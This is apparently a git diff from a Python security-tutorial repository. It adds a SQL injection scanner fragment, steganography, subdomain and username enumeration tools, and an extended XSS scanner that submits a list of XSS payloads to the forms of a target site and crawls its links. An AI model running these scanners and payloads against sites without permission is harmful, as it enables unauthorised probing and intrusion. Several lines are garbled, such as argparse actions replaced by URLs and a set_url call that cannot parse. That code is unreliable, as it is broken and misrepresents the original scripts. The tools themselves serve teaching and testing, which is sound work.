s.post(url, data=data) + elif form_details["method"] == "get": + res = s.get(url, params=data) + # test whether the resulting page is vulnerable + if is_vulnerable(res): + print("[+] SQL Injection vulnerability detected, link:", url) + print("[+] Form:") + pprint(form_details) + break + +if __name__ == "__main__": + import sys + url = sys.argv[1] + scan_sql_injection(url) \ No newline at end of file diff --git a/ethical-hacking/steganography/README.md b/ethical-hacking/steganography/README.md index cc9d72e8..18d6fe07 100644 --- a/ethical-hacking/steganography/README.md +++ b/ethical-hacking/steganography/README.md @@ -39,3 +39,21 @@ To run this: [+] Decoding... [+] Decoded data: This is some secret data. ``` + +- To encode the `foo.pdf` file into the `image.PNG` image, using `steganography_advanced.py` script: + ``` + $ python steganography_advanced.py -e image.PNG -f foo.pdf -b 1 + ``` + **Output:** + ``` + [*] Maximum bytes to encode: 125028 + [*] Data size: 84158 + [*] Encoding data... + [+] Saved encoded image. + ``` +- Now decoding it into a file `foo_decoded.pdf`: + ``` + python steganography_advanced.py -d image_encoded.PNG -f foo_decoded.pdf -b 1 + [+] Decoding... + [+] File decoded, foo_decoded.pdf is saved successfully. + ``` diff --git a/ethical-hacking/steganography/data.csv b/ethical-hacking/steganography/data.csv new file mode 100644 index 00000000..1fe75b33 --- /dev/null +++ b/ethical-hacking/steganography/data.csv @@ -0,0 +1,3266 @@ +date,open,high,low,close,adjclose,volume,ticker +2010-07-17,0.049509998410940004,0.049509998410940004,0.049509998410940004,0.049509998410940004,0.049509998410940004,0,BTC-USD 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+2019-06-25,11035.849609375,11468.4697265625,10992.3701171875,11386.009765625,11386.009765625,715423168,BTC-USD diff --git a/ethical-hacking/steganography/encoded_image.PNG b/ethical-hacking/steganography/encoded_image.PNG deleted file mode 100644 index d1d6041d..00000000 Binary files a/ethical-hacking/steganography/encoded_image.PNG and /dev/null differ diff --git a/ethical-hacking/steganography/foo.pdf b/ethical-hacking/steganography/foo.pdf new file mode 100644 index 00000000..742e0185 Binary files /dev/null and b/ethical-hacking/steganography/foo.pdf differ diff --git a/ethical-hacking/steganography/steganography_advanced.py b/ethical-hacking/steganography/steganography_advanced.py new file mode 100644 index 00000000..b5f48435 --- /dev/null +++ b/ethical-hacking/steganography/steganography_advanced.py @@ -0,0 +1,149 @@ +import cv2 +import numpy as np +import os + +def to_bin(data): + """Convert `data` to binary format as string""" + if isinstance(data, str): + return ''.join([ format(ord(i), "08b") for i in data ]) + elif isinstance(data, bytes): + return ''.join([ format(i, "08b") for i in data ]) + elif isinstance(data, np.ndarray): + return [ format(i, "08b") for i in data ] + elif isinstance(data, int) or isinstance(data, np.uint8): + return format(data, "08b") + else: + raise TypeError("Type not supported.") + + +def encode(image_name, secret_data, n_bits=2): + # read the image + image = cv2.imread(image_name) + # maximum bytes to encode + n_bytes = image.shape[0] * image.shape[1] * 3 * n_bits // 8 + print("[*] Maximum bytes to encode:", n_bytes) + print("[*] Data size:", len(secret_data)) + if len(secret_data) > n_bytes: + raise ValueError(f"[!] Insufficient bytes ({len(secret_data)}), need bigger image or less data.") + print("[*] Encoding data...") + # add stopping criteria + if isinstance(secret_data, str): + secret_data += "=====" + elif isinstance(secret_data, bytes): + secret_data += b"=====" + data_index = 0 + # convert data to binary + binary_secret_data = to_bin(secret_data) + # size of data to hide + data_len = len(binary_secret_data) + for bit in range(1, n_bits+1): + for row in image: + for pixel in row: + # convert RGB values to binary format + r, g, b = to_bin(pixel) + # modify the least significant bit only if there is still data to store + if data_index < data_len: + if bit == 1: + # least significant red pixel bit + pixel[0] = int(r[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the red pixel with the data bit + pixel[0] = int(r[:-bit] + binary_secret_data[data_index] + r[-bit+1:], 2) + data_index += 1 + if data_index < data_len: + if bit == 1: + # least significant green pixel bit + pixel[1] = int(g[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the green pixel with the data bit + pixel[1] = int(g[:-bit] + binary_secret_data[data_index] + g[-bit+1:], 2) + data_index += 1 + if data_index < data_len: + if bit == 1: + # least significant blue pixel bit + pixel[2] = int(b[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the blue pixel with the data bit + pixel[2] = int(b[:-bit] + binary_secret_data[data_index] + b[-bit+1:], 2) + data_index += 1 + # if data is encoded, just break out of the loop + if data_index >= data_len: + break + return image + + +def decode(image_name, n_bits=1, in_bytes=False): + print("[+] Decoding...") + # read the image + image = cv2.imread(image_name) + binary_data = "" + for bit in range(1, n_bits+1): + for row in image: + for pixel in row: + r, g, b = to_bin(pixel) + binary_data += r[-bit] + binary_data += g[-bit] + binary_data += b[-bit] + + # split by 8-bits + all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ] + # convert from bits to characters + if in_bytes: + # if the data we'll decode is binary data, + # we initialize bytearray instead of string + decoded_data = bytearray() + for byte in all_bytes: + # append the data after converting from binary + decoded_data.append(int(byte, 2)) + if decoded_data[-5:] == b"=====": + # exit out of the loop if we find the stopping criteria + break + else: + decoded_data = "" + for byte in all_bytes: + decoded_data += chr(int(byte, 2)) + if decoded_data[-5:] == "=====": + break + return decoded_data[:-5] + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.") + parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding") + parser.add_argument("-f", "--file", help="The file to hide into the image, this only should be specified while encoding") + parser.add_argument("-e", "--encode", help="Encode the following image") + parser.add_argument("-d", "--decode", help="Decode the following image") + parser.add_argument("-b", "--n-bits", help="The number of least significant bits of the image to encode", type=int, default=2) + + args = parser.parse_args() + if args.encode: + # if the encode argument is specified + if args.text: + secret_data = args.text + elif args.file: + with open(args.file, "rb") as f: + secret_data = f.read() + input_image = args.encode + # split the absolute path and the file + path, file = os.path.split(input_image) + # split the filename and the image extension + filename, ext = file.split(".") + output_image = os.path.join(path, f"{filename}_encoded.{ext}") + # encode the data into the image + encoded_image = encode(image_name=input_image, secret_data=secret_data, n_bits=args.n_bits) + # save the output image (encoded image) + cv2.imwrite(output_image, encoded_image) + print("[+] Saved encoded image.") + if args.decode: + input_image = args.decode + if args.file: + # decode the secret data from the image and write it to file + decoded_data = decode(input_image, n_bits=args.n_bits, in_bytes=True) + with open(args.file, "wb") as f: + f.write(decoded_data) + print(f"[+] File decoded, {args.file} is saved successfully.") + else: + # decode the secret data from the image and print it in the console + decoded_data = decode(input_image, n_bits=args.n_bits) + print("[+] Decoded data:", decoded_data) \ No newline at end of file diff --git a/ethical-hacking/subdomain-scanner/README.md b/ethical-hacking/subdomain-scanner/README.md index 460cd5aa..b89293f6 100644 --- a/ethical-hacking/subdomain-scanner/README.md +++ b/ethical-hacking/subdomain-scanner/README.md @@ -7,7 +7,9 @@ To run this: ``` **Output:** ``` - usage: fast_subdomain_scanner.py [-h] [-l WORDLIST] [-t NUM_THREADS] domain + usage: fast_subdomain_scanner.py [-h] [-l WORDLIST] [-t NUM_THREADS] + [-o OUTPUT_FILE] + domain Faster Subdomain Scanner using Threads @@ -23,6 +25,9 @@ To run this: -t NUM_THREADS, --num-threads NUM_THREADS Number of threads to use to scan the domain. Default is 10 + -o OUTPUT_FILE, --output-file OUTPUT_FILE + Specify the output text file to write discovered + subdomains ``` - If you want to scan hackthissite.org for subdomains using only 10 threads with a word list of 100 subdomains (`subdomains.txt`): ``` @@ -37,4 +42,9 @@ To run this: [+] Discovered subdomain: http://stats.hackthissite.org [+] Discovered subdomain: http://forums.hackthissite.org ``` + If you want to output the discovered URLs to a file: + ``` + python fast_subdomain_scanner.py hackthissite.org -l subdomains.txt -t 10 -o discovered_urls.txt + ``` + This will create a new file `discovered_urls.txt` that includes the discovered subdomains. - For bigger subdomain wordlists, check [this repository](https://github.com/rbsec/dnscan). diff --git a/ethical-hacking/subdomain-scanner/fast_subdomain_scanner.py b/ethical-hacking/subdomain-scanner/fast_subdomain_scanner.py index 55e4ef5a..a77d9e11 100644 --- a/ethical-hacking/subdomain-scanner/fast_subdomain_scanner.py +++ b/ethical-hacking/subdomain-scanner/fast_subdomain_scanner.py @@ -1,8 +1,10 @@ import requests -from threading import Thread +from threading import Thread, Lock from queue import Queue q = Queue() +list_lock = Lock() +discovered_domains = [] def scan_subdomains(domain): global q @@ -17,6 +19,9 @@ def scan_subdomains(domain): pass else: print("[+] Discovered subdomain:", url) + # add the subdomain to the global list + with list_lock: + discovered_domains.append(url) # we're done with scanning that subdomain q.task_done() @@ -44,12 +49,19 @@ def main(domain, n_threads, subdomains): parser.add_argument("-l", "--wordlist", help="File that contains all subdomains to scan, line by line. Default is subdomains.txt", default="subdomains.txt") parser.add_argument("-t", "--num-threads", help="Number of threads to use to scan the domain. Default is 10", default=10, type=int) + parser.add_argument("-o", "--output-file", help="Specify the output text file to write discovered subdomains", default="discovered-subdomains.txt") args = parser.parse_args() domain = args.domain wordlist = args.wordlist num_threads = args.num_threads + output_file = args.output_file main(domain=domain, n_threads=num_threads, subdomains=open(wordlist).read().splitlines()) q.join() + + # save the file + with open(output_file, "w") as f: + for url in discovered_domains: + print(url, file=f) diff --git a/ethical-hacking/subdomain-scanner/subdomain_scanner.py b/ethical-hacking/subdomain-scanner/subdomain_scanner.py index 1bc063c5..29dfab33 100644 --- a/ethical-hacking/subdomain-scanner/subdomain_scanner.py +++ b/ethical-hacking/subdomain-scanner/subdomain_scanner.py @@ -9,7 +9,8 @@ content = file.read() # split by new lines subdomains = content.splitlines() - +# a list of discovered subdomains +discovered_subdomains = [] for subdomain in subdomains: # construct the url url = f"http://{subdomain}.{domain}/" @@ -20,4 +21,11 @@ # if the subdomain does not exist, just pass, print nothing pass else: - print("[+] Discovered subdomain:", url) \ No newline at end of file + print("[+] Discovered subdomain:", url) + # append the discovered subdomain to our list + discovered_subdomains.append(url) + +# save the discovered subdomains into a file +with open("discovered_subdomains.txt", "w") as f: + for subdomain in discovered_subdomains: + print(subdomain, file=f) \ No newline at end of file diff --git a/ethical-hacking/username-finder/README.md b/ethical-hacking/username-finder/README.md new file mode 100644 index 00000000..8b0ad5a5 --- /dev/null +++ b/ethical-hacking/username-finder/README.md @@ -0,0 +1 @@ +# [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python) \ No newline at end of file diff --git a/ethical-hacking/username-finder/requirements.txt b/ethical-hacking/username-finder/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/username-finder/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/username-finder/username_finder.py b/ethical-hacking/username-finder/username_finder.py new file mode 100644 index 00000000..8b34f39a --- /dev/null +++ b/ethical-hacking/username-finder/username_finder.py @@ -0,0 +1,108 @@ +# Import necessary libraries +import requests # For making HTTP requests +import argparse # For parsing command line arguments +import concurrent.futures # For concurrent execution +from collections import OrderedDict # For maintaining order of websites +from colorama import init, Fore # For colored terminal output +import time # For handling time-related tasks +import random # For generating random numbers + +# Initialize colorama for colored output. +init() + +# Ordered dictionary of websites to check for a given username. +WEBSITES = OrderedDict([ + ("Instagram", "https://www.instagram.com/%7B%7D"), + ("Facebook", "https://www.facebook.com/%7B%7D"), + ("YouTube", "https://www.youtube.com/user/%7B%7D"), + ("Reddit", "https://www.reddit.com/user/%7B%7D"), + ("GitHub", "https://github.com/%7B%7D"), + ("Twitch", "https://www.twitch.tv/%7B%7D"), + ("Pinterest", "https://www.pinterest.com/%7B%7D/"), + ("TikTok", "https://www.tiktok.com/@%7B%7D"), + ("Flickr", "https://www.flickr.com/photos/%7B%7D") +]) + +REQUEST_DELAY = 2 # Delay in seconds between requests to the same website +MAX_RETRIES = 3 # Maximum number of retries for a failed request +last_request_times = {} # Dictionary to track the last request time for each website + +def check_username(website, username): + """ + Check if the username exists on the given website. + Returns the full URL if the username exists, False otherwise. + """ + url = website.format(username) # Format the URL with the given username + retries = 0 # Initialize retry counter + + # Retry loop + while retries < MAX_RETRIES: + try: + # Implement rate limiting. + current_time = time.time() + if website in last_request_times and current_time - last_request_times[website] < REQUEST_DELAY: + delay = REQUEST_DELAY - (current_time - last_request_times[website]) + time.sleep(delay) # Sleep to maintain the request delay. + + response = requests.get(url) # Make the HTTP request + last_request_times[website] = time.time() # Update the last request time. + + if response.status_code == 200: # Check if the request was successful. + return url + else: + return False + except requests.exceptions.RequestException: + retries += 1 # Increment retry counter on exception. + delay = random.uniform(1, 3) # Random delay between retries. + time.sleep(delay) # Sleep for the delay period. + + return False # Return False if all retries failed. + +def main(): + # Parse command line arguments. + parser = argparse.ArgumentParser(description="Check if a username exists on various websites.") + parser.add_argument("username", help="The username to check.") + parser.add_argument("-o", "--output", help="Path to save the results to a file.") + args = parser.parse_args() + + username = args.username # Username to check. + output_file = args.output # Output file path. + + print(f"Checking for username: {username}") + + results = OrderedDict() # Dictionary to store results. + + # Use ThreadPoolExecutor for concurrent execution. + with concurrent.futures.ThreadPoolExecutor() as executor: + # Submit tasks to the executor. + futures = {executor.submit(check_username, website, username): website_name for website_name, website in WEBSITES.items()} + for future in concurrent.futures.as_completed(futures): + website_name = futures[future] # Get the website name. + try: + result = future.result() # Get the result. + except Exception as exc: + print(f"{website_name} generated an exception: {exc}") + result = False + finally: + results[website_name] = result # Store the result. + + # Print the results. + print("\nResults:") + for website, result in results.items(): + if result: + print(f"{Fore.GREEN}{website}: Found ({result})") + else: + print(f"{Fore.RED}{website}: Not Found") + + # Save results to a file if specified. + if output_file: + with open(output_file, "w") as f: + for website, result in results.items(): + if result: + f.write(f"{website}: Found ({result})\n") + else: + f.write(f"{website}: Not Found\n") + print(f"{Fore.GREEN}\nResults saved to {output_file}") + +# Call the main function +main() diff --git a/ethical-hacking/verify-file-integrity/README.md b/ethical-hacking/verify-file-integrity/README.md new file mode 100644 index 00000000..4d7e313b --- /dev/null +++ b/ethical-hacking/verify-file-integrity/README.md @@ -0,0 +1 @@ +# [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python) \ No newline at end of file diff --git a/ethical-hacking/verify-file-integrity/file_integrity_verifier.py b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py new file mode 100644 index 00000000..0c9e31bc --- /dev/null +++ b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py @@ -0,0 +1,63 @@ +# Import necessary libraries. +import argparse, hashlib, sys + +# Import functions init and Fore from the colorama library. +from colorama import init, Fore + +# Initialize colorama to enable colored terminal text. +init() + +# Define a function to calculate the SHA-256 hash of a file. +def calculate_hash(file_path): + # Create a SHA-256 hash object. + sha256_hash = hashlib.sha256() + + # Open the file in binary mode for reading (rb). + with open(file_path, "rb") as file: + # Read the file in 64KB chunks to efficiently handle large files. + while True: + data = file.read(65536) # Read the file in 64KB chunks. + if not data: + break + # Update the hash object with the data read from the file. + sha256_hash.update(data) + + # Return the hexadecimal representation of the calculated hash. + return sha256_hash.hexdigest() + + +# Define a function to verify the calculated hash against an expected hash. +def verify_hash(downloaded_file, expected_hash): + # Calculate the hash of the downloaded file. + calculated_hash = calculate_hash(downloaded_file) + + # Compare the calculated hash with the expected hash and return the result. + return calculated_hash == expected_hash + + +# Create a parser for handling command-line arguments. +parser = argparse.ArgumentParser(description="Verify the hash of a downloaded software file.") + +# Define two command-line arguments: +# -f or --file: Path to the downloaded software file (required). +# --hash: Expected hash value (required). +parser.add_argument("-f", "--file", dest="downloaded_file", required=True, help="Path to the downloaded software file") +parser.add_argument("--hash", dest="expected_hash", required=True, help="Expected hash value") + +# Parse the command-line arguments provided when running the script. +args = parser.parse_args() + +# Check if the required command-line arguments were provided. +if not args.downloaded_file or not args.expected_hash: + # Print an error message in red using 'colorama'. + print(f"{Fore.RED}[-] Please Specify the file to validate and its Hash.") + # Exit the script. + sys.exit() + +# Check if the hash of the file is accurate by calling the verify_hash function. +if verify_hash(args.downloaded_file, args.expected_hash): + # If the hash is accurate, print a success message in green. + print(f"{Fore.GREEN}[+] Hash verification successful. The software is authentic.") +else: + # If the hash does not match, print an error message in red. + print(f"{Fore.RED}[-] Hash verification failed. The software may have been tampered with or is not authentic.") diff --git a/ethical-hacking/verify-file-integrity/requirements.txt b/ethical-hacking/verify-file-integrity/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/verify-file-integrity/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/requirements.txt b/ethical-hacking/xss-vulnerability-scanner/requirements.txt index 1f311f5c..20355cca 100644 --- a/ethical-hacking/xss-vulnerability-scanner/requirements.txt +++ b/ethical-hacking/xss-vulnerability-scanner/requirements.txt @@ -1,2 +1,3 @@ requests -bs4 \ No newline at end of file +bs4 +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py index 010eb0a6..5395d4d3 100644 --- a/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py @@ -16,7 +16,7 @@ def get_form_details(form): """ details = {} # get the form action (target url) - action = form.attrs.get("action").lower() + action = form.attrs.get("action", "").lower() # get the form method (POST, GET, etc.) method = form.attrs.get("method", "get").lower() # get all the input details such as type and name @@ -57,6 +57,8 @@ def submit_form(form_details, url, value): # then add them to the data of form submission data[input_name] = input_value + print(f"[+] Submitting malicious payload to {target_url}") + print(f"[+] Data: {data}") if form_details["method"] == "post": return requests.post(target_url, data=data) else: diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py new file mode 100644 index 00000000..104615d8 --- /dev/null +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py @@ -0,0 +1,203 @@ +import requests # Importing requests library for making HTTP requests +from pprint import pprint # Importing pprint for pretty-printing data structures +from bs4 import BeautifulSoup as bs # Importing BeautifulSoup for HTML parsing +from urllib.parse import urljoin, urlparse # Importing utilities for URL manipulation +from urllib.robotparser import RobotFileParser # Importing RobotFileParser for parsing robots.txt files +from colorama import Fore, Style # Importing colorama for colored terminal output +import argparse # Importing argparse for command-line argument parsing + +# List of XSS payloads to test forms with +XSS_PAYLOADS = [ + '">', + '\'>', + '', + '">', + '\'>', + "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//-->", + "", + "", +] +# global variable to store all crawled links +crawled_links = set() + +def print_crawled_links(): + """ + Print all crawled links + """ + print(f"\n[+] Links crawled:") + for link in crawled_links: + print(f" {link}") + print() + + +# Function to get all forms from a given URL +def get_all_forms(url): + """Given a `url`, it returns all forms from the HTML content""" + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all form elements in the HTML + return soup.find_all("form") + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving forms + print(f"[-] Error retrieving forms from {url}: {e}") + return [] + +# Function to extract details of a form +def get_form_details(form): + """ + This function extracts all possible useful information about an HTML `form` + """ + details = {} + # Extracting form action and method + action = form.attrs.get("action", "").lower() + method = form.attrs.get("method", "get").lower() + inputs = [] + # Extracting input details within the form + for input_tag in form.find_all("input"): + input_type = input_tag.attrs.get("type", "text") + input_name = input_tag.attrs.get("name") + inputs.append({"type": input_type, "name": input_name}) + # Storing form details in a dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + +# Function to submit a form with a specific value +def submit_form(form_details, url, value): + """ + Submits a form given in `form_details` + Params: + form_details (list): a dictionary that contains form information + url (str): the original URL that contains that form + value (str): this will be replaced for all text and search inputs + Returns the HTTP Response after form submission + """ + target_url = urljoin(url, form_details["action"]) # Constructing the absolute form action URL + inputs = form_details["inputs"] + data = {} + # Filling form inputs with the provided value + for input in inputs: + if input["type"] == "text" or input["type"] == "search": + input["value"] = value + input_name = input.get("name") + input_value = input.get("value") + if input_name and input_value: + data[input_name] = input_value + try: + # Making the HTTP request based on the form method (POST or GET) + if form_details["method"] == "post": + return requests.post(target_url, data=data) + else: + return requests.get(target_url, params=data) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in form submission + print(f"[-] Error submitting form to {target_url}: {e}") + return None + + +def get_all_links(url): + """ + Given a `url`, it returns all links from the HTML content + """ + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all anchor elements in the HTML + return [urljoin(url, link.get("href")) for link in soup.find_all("a")] + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving links + print(f"[-] Error retrieving links from {url}: {e}") + return [] + + +# Function to scan for XSS vulnerabilities +def scan_xss(args, scanned_urls=None): + """Given a `url`, it prints all XSS vulnerable forms and + returns True if any is vulnerable, None if already scanned, False otherwise""" + global crawled_links + if scanned_urls is None: + scanned_urls = set() + # Checking if the URL is already scanned + if args.url in scanned_urls: + return + # Adding the URL to the scanned URLs set + scanned_urls.add(args.url) + # Getting all forms from the given URL + forms = get_all_forms(args.url) + print(f"\n[+] Detected {len(forms)} forms on {args.url}") + # Parsing the URL to get the domain + parsed_url = urlparse(args.url) + domain = f"{parsed_url.scheme}://{parsed_url.netloc}" + if args.obey_robots: + robot_parser = RobotFileParser() + robot_parser.set_url(https://github.com/urljoin(domain,%20%22/robots.txt")) + try: + robot_parser.read() + except Exception as e: + # Handling exceptions if there's an error in reading robots.txt + print(f"[-] Error reading robots.txt file for {domain}: {e}") + crawl_allowed = False + else: + crawl_allowed = robot_parser.can_fetch("https://github.com/*", args.url) + else: + crawl_allowed = True + if crawl_allowed or parsed_url.path: + for form in forms: + form_details = get_form_details(form) + form_vulnerable = False + # Testing each form with XSS payloads + for payload in XSS_PAYLOADS: + response = submit_form(form_details, args.url, payload) + if response and payload in response.content.decode(): + print(f"\n{Fore.GREEN}[+] XSS Vulnerability Detected on {args.url}{Style.RESET_ALL}") + print(f"[*] Form Details:") + pprint(form_details) + print(f"{Fore.YELLOW}[*] Payload: {payload} {Style.RESET_ALL}") + # save to a file if output file is provided + if args.output: + with open(args.output, "a") as f: + f.write(f"URL: {args.url}\n") + f.write(f"Form Details: {form_details}\n") + f.write(f"Payload: {payload}\n") + f.write("-"*50 + "\n\n") + form_vulnerable = True + break # No need to try other payloads for this endpoint + if not form_vulnerable: + print(f"{Fore.MAGENTA}[-] No XSS vulnerability found on {args.url}{Style.RESET_ALL}") + # Crawl links if the option is enabled + if args.crawl: + print(f"\n[+] Crawling links from {args.url}") + try: + # Crawling links from the given URL + links = get_all_links(args.url) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in crawling links + print(f"[-] Error crawling links from {args.url}: {e}") + links = [] + for link in set(links): # Removing duplicates + if link.startswith(domain): + crawled_links.add(link) + if args.max_links and len(crawled_links) >= args.max_links: + print(f"{Fore.CYAN}[-] Maximum links ({args.max_links}) limit reached. Exiting...{Style.RESET_ALL}") + print_crawled_links() + exit(0) + # Recursively scanning XSS vulnerabilities for crawled links + args.url = link + link_vulnerable = scan_xss(args, scanned_urls) + if not link_vulnerable: + continue + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Extended XSS Vulnerability scanner script.") + parser.add_argument("url", help="URL to scan for XSS vulnerabilities") + parser.add_argument("-c", "--crawl", action="https://github.com/store_true", help="Crawl links from the given URL") + # max visited links + parser.add_argument("-m", "--max-links", type=int, default=0, help="Maximum number of links to visit. Default 0, which means no limit.") + parser.add_argument("--obey-robots", action="https://github.com/store_true", help="Obey robots.txt rules") + parser.add_argument("-o", "--output", help="Output file to save the results") + args = parser.parse_args() + scan_xss(args) # Initiating XSS vulnerability scan + + print_crawled_links() diff --git a/ethical-hacking/zip-file-locker/README.md b/ethical-hacking/zip-file-locker/README.md new file mode 100644 index 00000000..8a846e07 --- /dev/null +++ b/ethical-hacking/zip-file-locker/README.md @@ -0,0 +1 @@ +# [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python) \ No newline at end of file diff --git a/ethical-hacking/zip-file-locker/requirements.txt b/ethical-hacking/zip-file-locker/requirements.txt new file mode 100644 index 00000000..49cc4dc0 --- /dev/null +++ b/ethical-hacking/zip-file-locker/requirements.txt @@ -0,0 +1,2 @@ +colorama +pyzipper \ No newline at end of file diff --git a/ethical-hacking/zip-file-locker/zip_file_locker.py b/ethical-hacking/zip-file-locker/zip_file_locker.py new file mode 100644 index 00000000..67790324 --- /dev/null +++ b/ethical-hacking/zip-file-locker/zip_file_locker.py @@ -0,0 +1,59 @@ +# Import the necessary libraries. +import pyzipper, argparse, sys, re, getpass +from colorama import Fore, init + +init() + +# Define a function to get CLI commands. +def get_cli_arguments(): + parser = argparse.ArgumentParser(description="A program to lock a ZIP File.") + # Collect user arguments. + parser.add_argument('--zipfile', '-z', dest='zip_file', help='Specify the ZIP file to create or update.') + parser.add_argument('--addfile', '-a', dest='add_files', nargs='+', help='Specify one or more files to add to the ZIP file(s).') + + # Parse the collected arguments. + args = parser.parse_args() + + # Check if arguments are missing, print appropriate messages and exit the program. + if not args.zip_file: + parser.print_help() + sys.exit() + if not args.add_files: + parser.print_help() + sys.exit() + + return args + +# Function to check password strength. +def check_password_strength(password): + # Check for minimum length. In our case, 8. + if len(password) < 8: + return False + + # Check for at least one uppercase letter, one lowercase letter, and one digit. + if not (re.search(r'[A-Z]', password) and re.search(r'[a-z]', password) and re.search(r'\d', password)): + return False + + return True + +# Call the arguments function. +arguments = get_cli_arguments() + +# Get user password +password = getpass.getpass("[?] Enter your password > ") + +# If password is weak, tell the user and exit the program. +if not check_password_strength(password): + print(f"{Fore.RED}[-] Password is not strong enough. It should have at least 8 characters and contain at least one uppercase letter, one lowercase letter, and one digit.") + sys.exit() + +# Create a password-protected ZIP file. +with pyzipper.AESZipFile(arguments.zip_file, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zf: + zf.setpassword(password.encode()) + + # Add files to the ZIP file. + for file_to_add in arguments.add_files: + zf.write(file_to_add) + +# Print a Success message. +print(f"{Fore.GREEN}[+] ZIP file is locked with a strong password.") diff --git a/general/add-watermark-pdf/README.md b/general/add-watermark-pdf/README.md new file mode 100644 index 00000000..e9749575 --- /dev/null +++ b/general/add-watermark-pdf/README.md @@ -0,0 +1,27 @@ +# [How to Watermark PDF Files in Python](https://www.thepythoncode.com/article/watermark-in-pdf-using-python) +To run this: +- `pip3 install -r requirements.txt` +- ```python pdf_watermarker.py --help``` + +**Output:** +``` + +Available Options + +optional arguments: + -h, --help show this help message and exit + -i INPUT_PATH, --input_path INPUT_PATH + Enter the path of the file or the folder to process + -a {watermark,unwatermark}, --action {watermark,unwatermark} + Choose whether to watermark or to unwatermark + -m {RAM,HDD}, --mode {RAM,HDD} + Choose whether to process on the hard disk drive or in memory + -w WATERMARK_TEXT, --watermark_text WATERMARK_TEXT + Enter a valid watermark text + -p PAGES, --pages PAGES + Enter the pages to consider e.g.: [2,4] +``` +- To add a watermark with any text on `lorem-ipsum.pdf` file and output it as `watermarked_lorem-ipsum.pdf`: + ``` + python pdf_watermarker.py -i lorem-ipsum.pdf -a watermark -w "text here" -o watermarked_lorem-ipsum.pdf + ``` \ No newline at end of file diff --git a/general/add-watermark-pdf/lorem-ipsum.pdf b/general/add-watermark-pdf/lorem-ipsum.pdf new file mode 100644 index 00000000..22ace57c Binary files /dev/null and b/general/add-watermark-pdf/lorem-ipsum.pdf differ diff --git a/general/add-watermark-pdf/pdf_watermarker.py b/general/add-watermark-pdf/pdf_watermarker.py new file mode 100644 index 00000000..493dccae --- /dev/null +++ b/general/add-watermark-pdf/pdf_watermarker.py @@ -0,0 +1,300 @@ +from PyPDF4 import PdfFileReader, PdfFileWriter +from PyPDF4.pdf import ContentStream +from PyPDF4.generic import TextStringObject, NameObject +from PyPDF4.utils import b_ +import os +import argparse +from io import BytesIO +from typing import Tuple +# Import the reportlab library +from reportlab.pdfgen import canvas +# The size of the page supposedly A4 +from reportlab.lib.pagesizes import A4 +# The color of the watermark +from reportlab.lib import colors + +PAGESIZE = A4 +FONTNAME = 'Helvetica-Bold' +FONTSIZE = 40 +# using colors module +# COLOR = colors.lightgrey +# or simply RGB +# COLOR = (190, 190, 190) +COLOR = colors.red +# The position attributes of the watermark +X = 250 +Y = 10 +# The rotation angle in order to display the watermark diagonally if needed +ROTATION_ANGLE = 45 + + +def get_info(input_file: str): + """ + Extracting the file info + """ + # If PDF is encrypted the file metadata cannot be extracted + with open(input_file, 'rb') as pdf_file: + pdf_reader = PdfFileReader(pdf_file, strict=False) + output = { + "File": input_file, "Encrypted": ("True" if pdf_reader.isEncrypted else "False") + } + if not pdf_reader.isEncrypted: + info = pdf_reader.getDocumentInfo() + num_pages = pdf_reader.getNumPages() + output["Author"] = info.author + output["Creator"] = info.creator + output["Producer"] = info.producer + output["Subject"] = info.subject + output["Title"] = info.title + output["Number of pages"] = num_pages + # To Display collected metadata + print("## File Information ##################################################") + print("\n".join("{}:{}".format(i, j) for i, j in output.items())) + print("######################################################################") + return True, output + + +def get_output_file(input_file: str, output_file: str): + """ + Check whether a temporary output file is needed or not + """ + input_path = os.path.dirname(input_file) + input_filename = os.path.basename(input_file) + # If output file is empty -> generate a temporary output file + # If output file is equal to input_file -> generate a temporary output file + if not output_file or input_file == output_file: + tmp_file = os.path.join(input_path, 'tmp_' + input_filename) + return True, tmp_file + return False, output_file + + +def create_watermark(wm_text: str): + """ + Creates a watermark template. + """ + if wm_text: + # Generate the output to a memory buffer + output_buffer = BytesIO() + # Default Page Size = A4 + c = canvas.Canvas(output_buffer, 